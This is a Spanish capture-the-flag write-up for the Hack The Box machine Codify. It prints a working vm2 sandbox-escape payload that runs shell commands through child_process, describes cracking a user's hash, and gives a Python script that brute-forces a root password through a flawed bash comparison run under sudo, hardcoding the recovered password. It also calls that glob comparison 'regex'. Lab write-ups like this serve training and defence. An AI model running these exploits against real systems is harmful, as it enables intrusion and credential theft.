Writeup Máquina Codify HTB
Resolución de la máquina Codify
Al ingresar al sitio web proporcionado, observamos que es una plataforma para ejecutar Node.js en línea. Intenté ejecutar comandos con child_process
y leer archivos con fs
, pero ambos estaban restringidos.
Después de varios intentos, noté que la página mencionaba el uso de la sandbox vm2
.
Al investigar un poco más, descubrí una vulnerabilidad reciente que permite escapar de la sandbox.
Referencias:
const {VM} = require("vm2");
const vm = new VM();
const code = `
err = {};
const handler = {
getPrototypeOf(target) {
(function stack() {
new Error().stack;
stack();
})();
}
};
const proxiedErr = new Proxy(err, handler);
try {
throw proxiedErr;
} catch ({constructor: c}) {
c.constructor('return process')().mainModule.require('child_process').execSync('touch pwned');
}
`
console.log(vm.run(code));
Gracias a esto consigo una shell.
Buscando por los archivos de la máquina encuentro una base de datos.
En la que se encuentra la contraseña del usuario joshua.
Rompo el hash con jhon y puedo acceder vía ssh.
A la hora de escalar privilegios me encuentro que puedo ejecutar un script llamado mysql-backup como root.
#!/bin/bash
DB_USER="root"
DB_PASS=$(/usr/bin/cat /root/.creds)
BACKUP_DIR="/var/backups/mysql"
read -s -p "Enter MySQL password for $DB_USER: " USER_PASS
/usr/bin/echo
if [[ $DB_PASS == $USER_PASS ]]; then
/usr/bin/echo "Password confirmed!"
else
/usr/bin/echo "Password confirmation failed!"
exit 1
fi
/usr/bin/mkdir -p "$BACKUP_DIR"
databases=$(/usr/bin/mysql -u "$DB_USER" -h 0.0.0.0 -P 3306 -p"$DB_PASS" -e "SHOW DATABASES;" | /usr/bin/grep -Ev "(Database|information_schema|performance_schema)")
for db in $databases; do
/usr/bin/echo "Backing up database: $db"
/usr/bin/mysqldump --force -u "$DB_USER" -h 0.0.0.0 -P 3306 -p"$DB_PASS" "$db" | /usr/bin/gzip > "$BACKUP_DIR/$db.sql.gz"
done
/usr/bin/echo "All databases backed up successfully!"
/usr/bin/echo "Changing the permissions"
/usr/bin/chown root:sys-adm "$BACKUP_DIR"
/usr/bin/chmod 774 -R "$BACKUP_DIR"
/usr/bin/echo 'Done!'
Revisando el código de este script encontramos la comparación de igualdad [[ $DB_PASS == $USER_PASS ]] el problema está en que esta comparación es insegura ya que en bash esta comparación interpreta expresiones regulares, para que esto no fuese así la comparación debería ser [ $DB_PASS = $USER_PASS ]
En este caso si la contraseña empieza por a y introducimos a* el condicional se cumpliría, tenteniendo esto en cuenta podemos hacer una especie de bruteforce con el script.
#passpow.github.io
import string
import os
import sys
passwd=""
before=[]
def check_passwd(letter):
global passwd
if "Password confirmation failed!" in os.popen('echo "{}*" | sudo /opt/scripts/mysql-backup.sh'.format(passwd+letter)).read():
return 1
else:
passwd+=letter
print(passwd)
def check_passwd2(letter): #lol
global passwd
if "Password confirmation failed!" in os.popen('echo "{}" | sudo /opt/scripts/mysql-backup.sh'.format(passwd+letter)).read():
return 1
else:
passwd+=letter
print(passwd)
while True:
for i in string.ascii_letters+string.digits:
check_passwd(i)
if passwd=="kljh12k3jhaskjh12kjh":
for i in string.ascii_letters+string.digits:
check_passwd2(i)